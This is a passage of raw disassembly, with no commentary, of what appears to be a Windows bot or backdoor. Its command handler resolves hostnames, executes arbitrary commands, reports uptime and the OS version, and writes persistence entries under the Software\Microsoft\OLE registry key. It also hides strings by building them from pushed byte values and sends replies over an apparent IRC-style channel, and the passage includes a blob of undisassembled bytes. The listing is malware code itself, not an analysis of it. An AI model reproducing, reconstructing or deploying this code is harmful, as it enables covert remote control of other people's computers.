loc_405147: ; CODE XREF: sub_404C70+3CEj
lea ecx, [edi+0D99h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_40516A
mov byte_4D60BC, al
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_40516A: ; CODE XREF: sub_404C70+4ECj
lea ecx, [edi+0D3Dh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405431
lea ecx, [esp+178h+var_11C]
call sub_401424
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_4051F4
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_4051F4: ; CODE XREF: sub_404C70+56Ej
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017E4
push eax
nop
call near ptr 71AB2BF4h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_4052C7
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
nop
call near ptr 71ABE479h
mov edi, eax
test edi, edi
jz loc_4053A8
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017E4
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40540E
; ---------------------------------------------------------------------------
loc_4052C7: ; CODE XREF: sub_404C70+5CAj
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017E4
push eax
nop
call near ptr 71AB4FD4h
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053A8
mov ecx, [edi+0Ch]
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016AE
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4053A8: ; CODE XREF: sub_404C70+5E3j
; sub_404C70+694j
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017E4
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40540E: ; CODE XREF: sub_404C70+652j
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405431: ; CODE XREF: sub_404C70+50Fj
lea ecx, [edi+0BCDh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405522
lea ecx, [edi+9]
call sub_4017E4
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402022
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+188h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+190h+var_4], ebx
call sub_4019B5
add esp, 18h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60A5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E75
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405522: ; CODE XREF: sub_404C70+7D6j
lea ecx, [edi+0E23h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405690
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013D9
mov ecx, edi
mov ebx, eax
call sub_4013D9
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013D9
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_405673
lea ecx, [esp+178h+var_14C]
call sub_401424
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013D9
add eax, 2
mov ecx, esi
push eax
call sub_40146F
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015D7
lea ecx, [esp+178h+var_164]
call sub_401424
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017E4
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_40562A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405648
; ---------------------------------------------------------------------------
loc_40562A: ; CODE XREF: sub_404C70+99Dj
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405648: ; CODE XREF: sub_404C70+9B8j
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_40566E: ; CODE XREF: sub_404C70+1D4j
; sub_404C70+2AFj ...
call sub_401226
loc_405673: ; CODE XREF: sub_404C70+922j
; sub_404C70+C70j
xor al, al
loc_405675: ; CODE XREF: sub_404C70+6Fj
; sub_404C70+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_405690: ; CODE XREF: sub_404C70+8C7j
lea ecx, [edi+0C85h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405706
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F3C
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405706: ; CODE XREF: sub_404C70+A35j
lea ecx, [edi+0CE1h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4057F7
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E75
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019B5
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E6E75
mov [esp+178h+var_4], 1Ah
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60A5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4057F7: ; CODE XREF: sub_404C70+AABj
lea ecx, [edi+0CB3h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4058CB
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_40585F
mov ebx, 7
loc_40585F: ; CODE XREF: sub_404C70+BE8j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40194C
push offset byte_446F60
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058B4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
loc_4058B4: ; CODE XREF: sub_404C70+C17j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4058CB: ; CODE XREF: sub_404C70+B9Cj
lea ecx, [edi+0DF5h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405673
lea ecx, [esp+178h+var_100]
call sub_401424
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019B5
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A87
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_50F75C
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi ; dword_50F75C
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019B5
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017E4
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2950000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_50F738
push eax
call edi ; dword_50F738
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F75C
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017E4
mov ebp, dword_50F764
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp ; dword_50F764
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi ; dword_50F738
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017E4
push eax
call sub_4015FA
sub_404C70 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh
dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3EAE4AE8h
dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h
dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh
dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
dd 50FFFFBAh, 3EAC0FE8h, 548D9002h, 4C8D1024h, 68527824h
dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h
dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h
dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch
dd 0E850FFFFh, 23EAD0Bh, 6A006A90h, 6A186A05h, 6A4E6A05h
dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h
dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
dd 23EAAC8h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 0E850FFFFh
dd 23EABC7h, 6A006A90h, 6A186A05h, 6A4E6A05h, 6A196A13h
dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh
dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h
dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh
dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23EA988h, 10244C8Dh
dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h
dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h
dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h
dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
dd 4AE84C24h, 50FFFFBDh, 0AA79E890h, 6A023Eh, 186A056Ah
dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh
dd 0A83AE850h, 8D90023Eh, 8D102454h, 5278244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h
dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
dd 0AE84C24h, 50FFFFBCh, 0A939E890h, 6A023Eh, 186A056Ah
dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
dd 0A6FAE850h, 8D90023Eh, 8D102444h, 5078244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h
dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch
dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh
dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4066E0 proc near ; CODE XREF: sub_40194Cj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4066E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_401424
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406731
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_4020F4
mov [esp+38h+var_28], ebp
jmp loc_4067D7
; ---------------------------------------------------------------------------
loc_406731: ; CODE XREF: sub_4066E0+3Aj
call near ptr 27F06FDh
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_4067C3
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014C9
jmp short loc_4067D3
; ---------------------------------------------------------------------------
loc_4067C3: ; CODE XREF: sub_4066E0+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
loc_4067D3: ; CODE XREF: sub_4066E0+E1j
mov [esp+38h+var_28], ebp
loc_4067D7: ; CODE XREF: sub_4066E0+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_4066E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406850: ; CODE XREF: ___:00401668j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_446F60
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401861
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406890 proc near ; CODE XREF: sub_401F3Cj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_406890
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_401424
mov [esp+1A4h+var_4], 1
call near ptr 27F06FDh
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2830000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
nop
call near ptr 2820000h
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40695E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406946
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406936
mov ebp, offset a95 ; "95"
jmp loc_4069D1
; ---------------------------------------------------------------------------
loc_406936: ; CODE XREF: sub_406890+9Aj
cmp eax, 2
jnz loc_4069CD
mov ebp, offset aNt ; "NT"
jmp short loc_40699A
; ---------------------------------------------------------------------------
loc_406946: ; CODE XREF: sub_406890+8Ej
cmp eax, 0Ah
jnz short loc_406952
mov ebp, offset a98 ; "98"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406952: ; CODE XREF: sub_406890+B9j
cmp eax, 5Ah
jnz short loc_40698B
mov ebp, offset aMe ; "ME"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_40695E: ; CODE XREF: sub_406890+83j
cmp eax, 5
jnz short loc_40698B
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406975
mov ebp, offset a2000 ; "2000"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406975: ; CODE XREF: sub_406890+DCj
cmp eax, 1
jnz short loc_406981
mov ebp, offset aXp ; "XP"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406981: ; CODE XREF: sub_406890+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_406990
loc_40698B: ; CODE XREF: sub_406890+C5j
; sub_406890+D1j
mov ebp, offset a??? ; "???"
loc_406990: ; CODE XREF: sub_406890+C0j
; sub_406890+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_4069D1
loc_40699A: ; CODE XREF: sub_406890+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_4069D1
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
nop
call sub_5EA1BD
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_4069D1
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406890+A9j
mov ebp, [esp+1A4h+var_198]
loc_4069D1: ; CODE XREF: sub_406890+A1j
; sub_406890+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
nop
call near ptr 2811186h
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
